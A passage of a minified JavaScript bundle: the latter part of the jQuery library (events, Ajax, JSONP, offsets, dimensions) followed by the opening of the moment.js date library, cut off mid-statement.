g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!sb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,sb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(W.get(h,"events")||{})[b.type]&&W.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&U(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!U(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=W.access(d,b);e||d.addEventListener(a,c,!0),W.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=W.access(d,b)-1;e?W.access(d,b,e):(d.removeEventListener(a,c,!0),W.remove(d,b))}}});var tb=a.location,ub=r.now(),vb=/\?/;r.parseXML=function(b){var c;if(!b||"string"!=typeof b)return null;try{c=(new a.DOMParser).parseFromString(b,"text/xml")}catch(d){c=void 0}return c&&!c.getElementsByTagName("parsererror").length||r.error("Invalid XML: "+b),c};var wb=/\[\]$/,xb=/\r?\n/g,yb=/^(?:submit|button|image|reset|file)$/i,zb=/^(?:input|select|textarea|keygen)/i;function Ab(a,b,c,d){var e;if(Array.isArray(b))r.each(b,function(b,e){c||wb.test(a)?d(a,e):Ab(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)Ab(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(Array.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)Ab(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&zb.test(this.nodeName)&&!yb.test(a)&&(this.checked||!ja.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:Array.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(xb,"\r\n")}}):{name:b.name,value:c.replace(xb,"\r\n")}}).get()}});var Bb=/%20/g,Cb=/#.*$/,Db=/([?&])_=[^&]*/,Eb=/^(.*?):[ \t]*([^\r\n]*)$/gm,Fb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Gb=/^(?:GET|HEAD)$/,Hb=/^\/\//,Ib={},Jb={},Kb="*/".concat("*"),Lb=d.createElement("a");Lb.href=tb.href;function Mb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(L)||[];if(r.isFunction(c))while(d=f[e++])"+"===d[0]?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Nb(a,b,c,d){var e={},f=a===Jb;function g(h){var i;return e[h]=!0,r.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Ob(a,b){var c,d,e=r.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&r.extend(!0,a,d),a}function Pb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader("Content-Type"));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+" "+i[0]]){f=e;break}g||(g=e)}f=f||g}if(f)return f!==i[0]&&i.unshift(f),c[f]}function Qb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}r.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:tb.href,type:"GET",isLocal:Fb.test(tb.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Kb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":r.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Ob(Ob(a,r.ajaxSettings),b):Ob(r.ajaxSettings,a)},ajaxPrefilter:Mb(Ib),ajaxTransport:Mb(Jb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var e,f,g,h,i,j,k,l,m,n,o=r.ajaxSetup({},c),p=o.context||o,q=o.context&&(p.nodeType||p.jquery)?r(p):r.event,s=r.Deferred(),t=r.Callbacks("once memory"),u=o.statusCode||{},v={},w={},x="canceled",y={readyState:0,getResponseHeader:function(a){var b;if(k){if(!h){h={};while(b=Eb.exec(g))h[b[1].toLowerCase()]=b[2]}b=h[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return k?g:null},setRequestHeader:function(a,b){return null==k&&(a=w[a.toLowerCase()]=w[a.toLowerCase()]||a,v[a]=b),this},overrideMimeType:function(a){return null==k&&(o.mimeType=a),this},statusCode:function(a){var b;if(a)if(k)y.always(a[y.status]);else for(b in a)u[b]=[u[b],a[b]];return this},abort:function(a){var b=a||x;return e&&e.abort(b),A(0,b),this}};if(s.promise(y),o.url=((b||o.url||tb.href)+"").replace(Hb,tb.protocol+"//"),o.type=c.method||c.type||o.method||o.type,o.dataTypes=(o.dataType||"*").toLowerCase().match(L)||[""],null==o.crossDomain){j=d.createElement("a");try{j.href=o.url,j.href=j.href,o.crossDomain=Lb.protocol+"//"+Lb.host!=j.protocol+"//"+j.host}catch(z){o.crossDomain=!0}}if(o.data&&o.processData&&"string"!=typeof o.data&&(o.data=r.param(o.data,o.traditional)),Nb(Ib,o,c,y),k)return y;l=r.event&&o.global,l&&0===r.active++&&r.event.trigger("ajaxStart"),o.type=o.type.toUpperCase(),o.hasContent=!Gb.test(o.type),f=o.url.replace(Cb,""),o.hasContent?o.data&&o.processData&&0===(o.contentType||"").indexOf("application/x-www-form-urlencoded")&&(o.data=o.data.replace(Bb,"+")):(n=o.url.slice(f.length),o.data&&(f+=(vb.test(f)?"&":"?")+o.data,delete o.data),o.cache===!1&&(f=f.replace(Db,"$1"),n=(vb.test(f)?"&":"?")+"_="+ub++ +n),o.url=f+n),o.ifModified&&(r.lastModified[f]&&y.setRequestHeader("If-Modified-Since",r.lastModified[f]),r.etag[f]&&y.setRequestHeader("If-None-Match",r.etag[f])),(o.data&&o.hasContent&&o.contentType!==!1||c.contentType)&&y.setRequestHeader("Content-Type",o.contentType),y.setRequestHeader("Accept",o.dataTypes[0]&&o.accepts[o.dataTypes[0]]?o.accepts[o.dataTypes[0]]+("*"!==o.dataTypes[0]?", "+Kb+"; q=0.01":""):o.accepts["*"]);for(m in o.headers)y.setRequestHeader(m,o.headers[m]);if(o.beforeSend&&(o.beforeSend.call(p,y,o)===!1||k))return y.abort();if(x="abort",t.add(o.complete),y.done(o.success),y.fail(o.error),e=Nb(Jb,o,c,y)){if(y.readyState=1,l&&q.trigger("ajaxSend",[y,o]),k)return y;o.async&&o.timeout>0&&(i=a.setTimeout(function(){y.abort("timeout")},o.timeout));try{k=!1,e.send(v,A)}catch(z){if(k)throw z;A(-1,z)}}else A(-1,"No Transport");function A(b,c,d,h){var j,m,n,v,w,x=c;k||(k=!0,i&&a.clearTimeout(i),e=void 0,g=h||"",y.readyState=b>0?4:0,j=b>=200&&b<300||304===b,d&&(v=Pb(o,y,d)),v=Qb(o,v,y,j),j?(o.ifModified&&(w=y.getResponseHeader("Last-Modified"),w&&(r.lastModified[f]=w),w=y.getResponseHeader("etag"),w&&(r.etag[f]=w)),204===b||"HEAD"===o.type?x="nocontent":304===b?x="notmodified":(x=v.state,m=v.data,n=v.error,j=!n)):(n=x,!b&&x||(x="error",b<0&&(b=0))),y.status=b,y.statusText=(c||x)+"",j?s.resolveWith(p,[m,x,y]):s.rejectWith(p,[y,x,n]),y.statusCode(u),u=void 0,l&&q.trigger(j?"ajaxSuccess":"ajaxError",[y,o,j?m:n]),t.fireWith(p,[y,x]),l&&(q.trigger("ajaxComplete",[y,o]),--r.active||r.event.trigger("ajaxStop")))}return y},getJSON:function(a,b,c){return r.get(a,b,c,"json")},getScript:function(a,b){return r.get(a,void 0,b,"script")}}),r.each(["get","post"],function(a,b){r[b]=function(a,c,d,e){return r.isFunction(c)&&(e=e||d,d=c,c=void 0),r.ajax(r.extend({url:a,type:b,dataType:e,data:c,success:d},r.isPlainObject(a)&&a))}}),r._evalUrl=function(a){return r.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},r.ajaxSettings.xhr=function(){try{return new a.XMLHttpRequest}catch(b){}};var Rb={0:200,1223:204},Sb=r.ajaxSettings.xhr();o.cors=!!Sb&&"withCredentials"in Sb,o.ajax=Sb=!!Sb,r.ajaxTransport(function(b){var c,d;if(o.cors||Sb&&!b.crossDomain)return{send:function(e,f){var g,h=b.xhr();if(h.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(g in b.xhrFields)h[g]=b.xhrFields[g];b.mimeType&&h.overrideMimeType&&h.overrideMimeType(b.mimeType),b.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest");for(g in e)h.setRequestHeader(g,e[g]);c=function(a){return function(){c&&(c=d=h.onload=h.onerror=h.onabort=h.onreadystatechange=null,"abort"===a?h.abort():"error"===a?"number"!=typeof h.status?f(0,"error"):f(h.status,h.statusText):f(Rb[h.status]||h.status,h.statusText,"text"!==(h.responseType||"text")||"string"!=typeof h.responseText?{binary:h.response}:{text:h.responseText},h.getAllResponseHeaders()))}},h.onload=c(),d=h.onerror=c("error"),void 0!==h.onabort?h.onabort=d:h.onreadystatechange=function(){4===h.readyState&&a.setTimeout(function(){c&&d()})},c=c("abort");try{h.send(b.hasContent&&b.data||null)}catch(i){if(c)throw i}},abort:function(){c&&c()}}}),r.ajaxPrefilter(function(a){a.crossDomain&&(a.contents.script=!1)}),r.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return r.globalEval(a),a}}}),r.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET")}),r.ajaxTransport("script",function(a){if(a.crossDomain){var b,c;return{send:function(e,f){b=r("<script>").prop({charset:a.scriptCharset,src:a.url}).on("load error",c=function(a){b.remove(),c=null,a&&f("error"===a.type?404:200,a.type)}),d.head.appendChild(b[0])},abort:function(){c&&c()}}}});var Tb=[],Ub=/(=)\?(?=&|$)|\?\?/;r.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var a=Tb.pop()||r.expando+"_"+ub++;return this[a]=!0,a}}),r.ajaxPrefilter("json jsonp",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(Ub.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType||"").indexOf("application/x-www-form-urlencoded")&&Ub.test(b.data)&&"data");if(h||"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(Ub,"$1"+e):b.jsonp!==!1&&(b.url+=(vb.test(b.url)?"&":"?")+b.jsonp+"="+e),b.converters["script json"]=function(){return g||r.error(e+" was not called"),g[0]},b.dataTypes[0]="json",f=a[e],a[e]=function(){g=arguments},d.always(function(){void 0===f?r(a).removeProp(e):a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,Tb.push(e)),g&&r.isFunction(f)&&f(g[0]),g=f=void 0}),"script"}),o.createHTMLDocument=function(){var a=d.implementation.createHTMLDocument("").body;return a.innerHTML="<form></form><form></form>",2===a.childNodes.length}(),r.parseHTML=function(a,b,c){if("string"!=typeof a)return[];"boolean"==typeof b&&(c=b,b=!1);var e,f,g;return b||(o.createHTMLDocument?(b=d.implementation.createHTMLDocument(""),e=b.createElement("base"),e.href=d.location.href,b.head.appendChild(e)):b=d),f=C.exec(a),g=!c&&[],f?[b.createElement(f[1])]:(f=qa([a],b,g),g&&g.length&&r(g).remove(),r.merge([],f.childNodes))},r.fn.load=function(a,b,c){var d,e,f,g=this,h=a.indexOf(" ");return h>-1&&(d=pb(a.slice(h)),a=a.slice(0,h)),r.isFunction(b)?(c=b,b=void 0):b&&"object"==typeof b&&(e="POST"),g.length>0&&r.ajax({url:a,type:e||"GET",dataType:"html",data:b}).done(function(a){f=arguments,g.html(d?r("<div>").append(r.parseHTML(a)).find(d):a)}).always(c&&function(a,b){g.each(function(){c.apply(this,f||[a.responseText,b,a])})}),this},r.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(a,b){r.fn[b]=function(a){return this.on(b,a)}}),r.expr.pseudos.animated=function(a){return r.grep(r.timers,function(b){return a===b.elem}).length},r.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=r.css(a,"position"),l=r(a),m={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=r.css(a,"top"),i=r.css(a,"left"),j=("absolute"===k||"fixed"===k)&&(f+i).indexOf("auto")>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),r.isFunction(b)&&(b=b.call(a,c,r.extend({},h))),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),"using"in b?b.using.call(a,m):l.css(m)}},r.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){r.offset.setOffset(this,a,b)});var b,c,d,e,f=this[0];if(f)return f.getClientRects().length?(d=f.getBoundingClientRect(),b=f.ownerDocument,c=b.documentElement,e=b.defaultView,{top:d.top+e.pageYOffset-c.clientTop,left:d.left+e.pageXOffset-c.clientLeft}):{top:0,left:0}},position:function(){if(this[0]){var a,b,c=this[0],d={top:0,left:0};return"fixed"===r.css(c,"position")?b=c.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),B(a[0],"html")||(d=a.offset()),d={top:d.top+r.css(a[0],"borderTopWidth",!0),left:d.left+r.css(a[0],"borderLeftWidth",!0)}),{top:b.top-d.top-r.css(c,"marginTop",!0),left:b.left-d.left-r.css(c,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent;while(a&&"static"===r.css(a,"position"))a=a.offsetParent;return a||ra})}}),r.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c="pageYOffset"===b;r.fn[a]=function(d){return T(this,function(a,d,e){var f;return r.isWindow(a)?f=a:9===a.nodeType&&(f=a.defaultView),void 0===e?f?f[b]:a[d]:void(f?f.scrollTo(c?f.pageXOffset:e,c?e:f.pageYOffset):a[d]=e)},a,d,arguments.length)}}),r.each(["top","left"],function(a,b){r.cssHooks[b]=Pa(o.pixelPosition,function(a,c){if(c)return c=Oa(a,b),Ma.test(c)?r(a).position()[b]+"px":c})}),r.each({Height:"height",Width:"width"},function(a,b){r.each({padding:"inner"+a,content:b,"":"outer"+a},function(c,d){r.fn[d]=function(e,f){var g=arguments.length&&(c||"boolean"!=typeof e),h=c||(e===!0||f===!0?"margin":"border");return T(this,function(b,c,e){var f;return r.isWindow(b)?0===d.indexOf("outer")?b["inner"+a]:b.document.documentElement["client"+a]:9===b.nodeType?(f=b.documentElement,Math.max(b.body["scroll"+a],f["scroll"+a],b.body["offset"+a],f["offset"+a],f["client"+a])):void 0===e?r.css(b,c,h):r.style(b,c,e,h)},b,g?e:void 0,g)}})}),r.fn.extend({bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}}),r.holdReady=function(a){a?r.readyWait++:r.ready(!0)},r.isArray=Array.isArray,r.parseJSON=JSON.parse,r.nodeName=B,"function"==typeof define&&define.amd&&define("jquery",[],function(){return r});var Vb=a.jQuery,Wb=a.$;return r.noConflict=function(b){return a.$===r&&(a.$=Wb),b&&a.jQuery===r&&(a.jQuery=Vb),r},b||(a.jQuery=a.$=r),r});
!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):e.moment=t()}(this,function(){"use strict";function e(){return Qe.apply(null,arguments)}function t(e){return e instanceof Array||"[object Array]"===Object.prototype.toString.call(e)}function n(e){return null!=e&&"[object Object]"===Object.prototype.toString.call(e)}function s(e){return void 0===e}function i(e){return"number"==typeof e||"[object Number]"===Object.prototype.toString.call(e)}function r(e){return e instanceof Date||"[object Date]"===Object.prototype.toString.call(e)}function a(e,t){var n,s=[];for(n=0;n<e.length;++n)s.push(t(e[n],n));return s}function o(e,t){return Object.prototype.hasOwnProperty.call(e,t)}function u(e,t){for(var n in t)o(t,n)&&(e[n]=t[n]);return o(t,"toString")&&(e.toString=t.toString),o(t,"valueOf")&&(e.valueOf=t.valueOf),e}function l(e,t,n,s){return ge(e,t,n,s,!0).utc()}function d(e){return null==e._pf&&(e._pf={empty:!1,unusedTokens:[],unusedInput:[],overflow:-2,charsLeftOver:0,nullInput:!1,invalidMonth:null,invalidFormat:!1,userInvalidated:!1,iso:!1,parsedDateParts:[],meridiem:null,rfc2822:!1,weekdayMismatch:!1}),e._pf}function h(e){if(null==e._isValid){var t=d(e),n=Xe.call(t.parsedDateParts,function(e){return null!=e}),s=!isNaN(e._d.getTime())&&t.overflow<0&&!t.empty&&!t.invalidMonth&&!t.invalidWeekday&&!t.weekdayMismatch&&!t.nullInput&&!t.invalidFormat&&!t.userInvalidated&&(!t.meridiem||t.meridiem&&n);if(e._strict&&(s=s&&0===t.charsLeftOver&&0===t.unusedTokens.length&&void 0===t.bigHour),null!=Object.isFrozen&&Object.isFrozen(e))return s;e._isValid=s}return e._isValid}function c(e){var t=l(NaN);return null!=e?u(d(t),e):d(t).userInvalidated=!0,t}function f(e,t){var n,i,r;if(s(t._isAMomentObject)||(e._isAMomentObject=t._isAMomentObject),s(t._i)||(e._i=t._i),s(t._f)||(e._f=t._f),s(t._l)||(e._l=t._l),s(t._strict)||(e._strict=t._strict),s(t._tzm)||(e._tzm=t._tzm),s(t._isUTC)||(e._isUTC=t._isUTC),s(t._offset)||(e._offset=t._offset),s(t._pf)||(e._pf=d(t)),s(t._locale)||(e._locale=t._locale),Ke.length>0)for(n=0;n<Ke.length;n++)s(r=t[i=Ke[n]])||(e[i]=r);return e}function m(t){f(this,t),this._d=new Date(null!=t._d?t._d.getTime():NaN),this.isValid()||(this._d=new Date(NaN)),!1===et&&(et=!0,e.updateOffset(this),et=!1)}function _(e){return e instanceof m||null!=e&&null!=e._isAMomentObject}function y(e){return e<0?Math.ceil(e)||0:Math.floor(e)}function g(e){var t=+e,n=0;return 0!==t&&isFinite(t)&&(n=y(t)),n}function p(e,t,n){var s,i=Math.min(e.length,t.length),r=Math.abs(e.length-t.length),a=0;for(s=0;s<i;s++)(n&&e[s]!==t[s]||!n&&g(e[s])!==g(t[s]))&&a++;return a+r}function w(t){!1===e.suppressDeprecationWarnings&&"undefined"!=typeof console&&console.warn&&console.warn("Deprecation warning: "+t)}function v(t,n){var s=!0;return u(function(){if(null!=e.deprecationHandler&&e.deprecationHandler(null,t),s){for(var i,r=[],a=0;a<arguments.length;a++){if(i="","object"==typeof arguments[a]){i+="\n["+a+"] ";for(var o in arguments[0])i+=o+": "+arguments[0][o]+", ";i=i.slice(0,-2)}else i=arguments[a];r.push(i)}w(t+"\nArguments: "+Array.prototype.slice.call(r).join("")+"\n"+(new Error).stack),s=!1}return n.apply(this,arguments)},n)}function M(t,n){null!=e.deprecationHandler&&e.deprecationHandler(t,n),tt[t]||(w(n),tt[t]=!0)}function S(e){return e instanceof Function||"[object Function]"===Object.prototype.toString.call(e)}function D(e,t){var s,i=u({},e);for(s in t)o(t,s)&&(n(e[s])&&n(t[s])?(i[s]={},u(i[s],e[s]),u(i[s],t[s])):null!=t[s]?i[s]=t[s]:delete i[s]);for(s in e)o(e,s)&&!o(t,s)&&n(e[s])&&(i[s]=u({},i[s]));return i}function k(e){null!=e&&this.set(e)}function Y(e,t){var n=e.toLowerCase();st[n]=st[n+"s"]=st[t]=e}function O(e){return"string"==typeof e?st[e]||st[e.toLowerCase()]:void 0}function T(e){var t,n,s={};for(n in e)o(e,n)&&(t=O(n))&&(s[t]=e[n]);return s}function x(e,t){it[e]=t}function b(e,t,n){var s=""+Math.abs(e),i=t-s.length;return(e>=0?n?"+":"":"-")+Math.pow(10,Math.max(0,i)).toString().substr(1)+s}function P(e,t,n,s){var i=s;"string"==typeof s&&(i=function(){return this[s]()}),e&&(ut[e]=i),t&&(ut[t[0]]=function(){return b(i.apply(this,arguments),t[1],t[2])}),n&&(ut[n]=function(){return this.localeData().ordinal(i.apply(this,arguments),e)})}function W(e){return e.match(/\[[\s\S]/)?e.replace(/^\[|\]$/g,""):e.replace(/\\/g,"")}function H(e,t){return e.isValid()?(t=R(t,e.localeData()),ot[t]=ot[t]||function(e){var t,n,s=e.match(rt);for(t=0,n=s.length;t<n;t++)ut[s[t]]?s[t]=ut[s[t]]:s[t]=W(s[t]);return function(t){var i,r="";for(i=0;i<n;i++)r+=S(s[i])?s[i].call(t,e):s[i];return r}}(t),ot[t](e)):e.localeData().invalidDate()}function R(e,t){function n(e){return t.longDateFormat(e)||e}var s=5;for(at.lastIndex=0;s>=0&&at.test(e);)e=e.replace(at,n),at.lastIndex=0,s-=1;return e}function C(e,t,n){Yt[e]=S(t)?t:function(e,s){return e&&n?n:t}}function F(e,t){return o(Yt,e)?Yt[e](t._strict,t._locale):new RegExp(function(e){return U(e.replace("\\","").replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g,function(e,t,n,s,i){return t||n||s||i}))}(e))}function U(e){return e.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")}function L(e,t){var n,s=t;for("string"==typeof e&&(e=[e]),i(t)&&(s=function(e,n){n[t]=g(e)}),n=0;n<e.length;n++)Ot[e[n]]=s}function N(e,t){L(e,function(e,n,s,i){s._w=s._w||{},t(e,s._w,s,i)})}function G(e,t,n){null!=t&&o(Ot,e)&&Ot[e](t,n._a,n,e)}function V(e){return E(e)?366:365}function E(e){return e%4==0&&e%100!=0||e%400==0}function I(t,n){return function(s){return null!=s?(j(this,t,s),e.updateOffset(this,n),this):A(this,t)}}function A(e,t){return e.isValid()?e._d["get"+(e._isUTC?"UTC":"")+t]():NaN}function j(e,t,n){e.isValid()&&!isNaN(n)&&("FullYear"===t&&E(e.year())&&1===e.month()&&29===e.date()?e._d["set"+(e._isUTC?"UTC":"")+t](n,e.month(),Z(n,e.month())):e._d["set"+(e._isUTC?"UTC":"")+t](n))}function Z(e,t){if(isNaN(e)||isNaN(t))return NaN;var n=function(e,t){return(e%t+t)%t}(t,12);return e+=(t-n)/12,1===n?E(e)?29:28:31-n%7%2}function z(e,t){var n;if(!e.isValid())return e;if("string"==typeof t)if(/^\d+$/.test(t))t=g(t);else if(t=e.localeData().monthsParse(t),!i(t))return e;return n=Math.min(e.date(),Z(e.year(),t)),e._d["set"+(e._isUTC?"UTC":"")+"Month"](t,n),e}function $(t){return null!=t?(z(this,t),e.updateOffset(this,!0),this):A(this,"Month")}function q(){function e(e,t){return t.length-e.length}var t,n,s=[],i=[],r=[];for(t=0;t<12;t++)n=l([2e3,t]),s.push(this.monthsShort(n,"")),i.push(this.months(n,"")),r.push(this.months(n,"")),r.push(this.monthsShort(n,""));for(s.sort(e),i.sort(e),r.sort(e),t=0;t<12;t++)s[t]=U(s[t]),i[t]=U(i[t]);for(t=0;t<24;t++)r[t]=U(r[t]);this._monthsRegex=new RegExp("^("+r.join("|")+")","i"),this._monthsShortRegex=this._monthsRegex,this._monthsStrictRegex=new RegExp("^("+i.join("|")+")","i"),this._monthsShortStrictRegex=new RegExp("^("+s.join("|")+")","i")}function J(e){var t=new Date(Date.UTC.apply(null,arguments));return e<100&&e>=0&&isFinite(t.getUTCFullYear())&&t.setUTCFullYear(e),t}function B(e,t,n){var s=7+t-n;return-((7+J(e,0,s).getUTCDay()-t)%7)+s-1}function Q(e,t,n,s,i){var r,a,o=1+7*(t-1)+(7+n-s)%7+B(e,s,i);return o<=0?a=V(r=e-1)+o:o>V(e)?(r=e+1,a=o-V(e)):(r=e,a=o),{year:r,dayOfYear:a}}function X(e,t,n){var s,i,r=B(e.year(),t,n),a=Math.floor((e.dayOfYear()-r-1)/7)+1;return a<1?s=a+K(i=e.year()-1,t,n):a>K(e.year(),t,n)?(s=a-K(e.year(),t,n),i=e.year()+1):(i=e.year(),s=a),{week:s,year:i}}function K(e,t,n){var s=B(e,t,n),i=B(e+1,t,n);return(V(e)-s+i)/7}function ee(){function e(e,t){return t.length-e.length}var t,n,s,i,r,a=[],o=[],u=[],d=[];for(t=0;t<7;t++)n=l([2e3,1]).day(t),s=this.weekdaysMin(n,""),i=this.weekdaysShort(n,""),r=this.weekdays(n,""),a.push(s),o.push(i),u.push(r),d.push(s),d.push(i),d.push(r);for(a.sort(e),o.sort(e),u.sort(e),d.sort(e),t=0;t<7;t++)o[t]=U(o[t]),u[t]=U(u[t]),d[t]=U(d[t]);this._weekdaysRegex=new RegExp("^("+d.join("|")+")","i"),this._weekdaysShortRegex=this._weekdaysRegex,this._weekdaysMinRegex=this._weekdaysRegex,this._weekdaysStrictRegex=new RegExp("^("+u.join("|")+")","i"),this._weekdaysShortStrictRegex=new RegExp("^("+o.join("|")+")","i"),this._weekdaysMinStrictRegex=new RegExp("^("+a.join("|")+")","i")}function te(){return this.hours()%12||12}function ne(e,t){P(e,0,0,function(){return this.localeData().meridiem(this.hours(),this.minutes(),t)})}function se(e,t){return t._meridiemParse}function ie(e){return e?e.toLowerCase().replace("_","-"):e}function re(e){var t=null;if(!Xt[e]&&"undefined"!=typeof 